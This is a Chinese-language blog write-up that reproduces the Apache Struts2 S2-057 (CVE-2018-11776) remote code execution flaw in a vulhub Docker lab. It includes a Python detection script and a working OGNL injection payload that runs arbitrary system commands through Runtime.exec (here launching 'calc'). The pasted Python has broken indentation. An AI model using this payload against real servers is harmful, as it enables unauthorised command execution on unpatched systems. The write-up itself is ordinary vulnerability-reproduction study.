Struts2-057远程代码执⾏漏洞(s2-057CVE-2018-11776)复
参考了⼤佬的链接:
00x01前⾔
Apache Struts是美国阿帕奇(Apache)软件基⾦会负责维护的⼀个开源项⽬,是⼀套⽤于创建企业级Java Web 应⽤的开源MVC框架,主要提供两个版本框架产品:  Struts 1和Struts 2。 Struts2是⼀个基于MVC设计模式的Web应⽤框架,它本质上相当于⼀个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建⽴模型与视图的数据交互。Struts 2是Struts的下⼀代产品,是在struts 1和WebWork的技术基础上进⾏了合并的全新的Struts 2框架。
00x02漏洞描述
定义XML配置时如果没有设置namespace的值,并且上层动作配置中并没有设置或使⽤通配符namespace时,可能会导致远程代码执⾏漏洞的发⽣。同样也可能因为url标签没有设置value和action的值,并且上层动作并没有设置或使⽤通配符namespace,从⽽导致远程代码执⾏漏洞的发⽣。
00x03影响版本
Struts 2.3 - Struts 2.3.34
Struts 2.5 - Struts 2.5.16
00x04漏洞验证
附上⼀个⼤佬的poc
import sys
import requests
url = sys.argv[1]
url_list = [i for i in url.split("/") if i != '']
payload = "${(65535+521)}"
payload = "/" + payload + "/"
num = 0
for str in url_list:
num += 1
if num == 1:
nurl = str
continue
elif num == 2:
nurl = nurl + "//" + str
continue
elif num == len(url_list):
nurl = nurl + payload + str
continue
else:
nurl = nurl + "/" + str
continue
try:
r = requests.head(nurl, stream=True).headers["Location"] except:
print "不存在ST2-057漏洞!"
exit()
if r.find("66056") != -1:
print "存在ST2-057漏洞!"
else:
print "不存在ST2-057漏洞!"
00x05安装本地环境
⾸先要安装docker部署vulhub
我⽤的是kali2018的虚拟机安装的
更新数据
apt-get update
安装docker
apt-get install docker.io
查看版本
docker -v
尝试运⾏⼀下
docker images
出现镜像列表则说明成功安装,或者再进⾏验证
docker run hello-world
如果出现
不要慌,服务器正从Docker Hub获取到最新的Hello World镜像,下载到本地,因此只需等待即可。
出现了上图字样表⽰安装成功,如果没⽤再次输⼊docker run hello-world,回车就能验证了。
接下来就需要安装vulhub了,在这之前,需要先安装pip
wget bootstrap.pypa.io/get-pip.py
安装完成之后尝试输⼊pip,出现选项即说明安装成功,接下来就可以使⽤pip来安装docker-compose
pip install docker-compose
直接从github上将vulhub拿下来,由于某些原因,直接下载vulhub会报错,所以建议直接从github上下载,当然也可以直接下载。
git clone github/vulhub/vulhub
不出意外的话,下载成功以后查看⽬录下会出现vulhub,这个时候就可以进去看看⾥⾯有些什么,当然⾥⾯所包含靶站的还是⽐较多的,都可以复现⼀些⽐较经典的漏洞。
这⾥重点介绍下struts2-057漏洞吧,进⼊struts2⽬录下,到struts2-057,进去。
直接使⽤docker-compose将镜像安装起来。
docker-compose up -d
报错了,看version都报错
然后将⽂件上传到 /usr/local/bin/ ⽂件夹下,然后将其重命名为docker-compose,增加可执⾏:chmod +x /usr/local/bin/docker-compose  ,然后再运⾏查看版本
现在进⼊struts2-057⽬录然后执⾏  docker-compose up -d  命令,下载有点⼉慢。
看下docker⾥⾯镜像库,如果出现struts2镜像则说明安装成功。
查看psid,复制id后直接启⽤环境。
docker exec -i -t <id> /bin/bash
环境就搭建起来了,访问⼀下ip:port/struts2-showcase/
00x06漏洞复现
将url换成ip:port
然后访问
最后可以看到已经变成了ip:port/struts2-showcase/222/register2.action
说明存在s2-057漏洞
中间的是命令执⾏,得到执⾏结果返回在后⾯的url呈现的页⾯中
将${(111+111)} 替换⽤代码执⾏编写成命令执⾏的exp
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new
java.io.InputStreamReader(#a),#c=new  java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n=
@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}
拆分:
${
(
#_memberAccess["allowStaticMethodAccess"]=true,
#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),
#b=new java.io.InputStreamReader(#a),
#c=new java.io.BufferedReader(#b),
#d=new char[51020],
#c.read(#d),
#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),
cve漏洞库#jas502n.println(#d),
#jas502n.close())
}
中间的标红的⼀段代码中间的exec(‘’)函数⾥⾯可执⾏任意系统命令,这⾥是执⾏的calc调出计算器。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。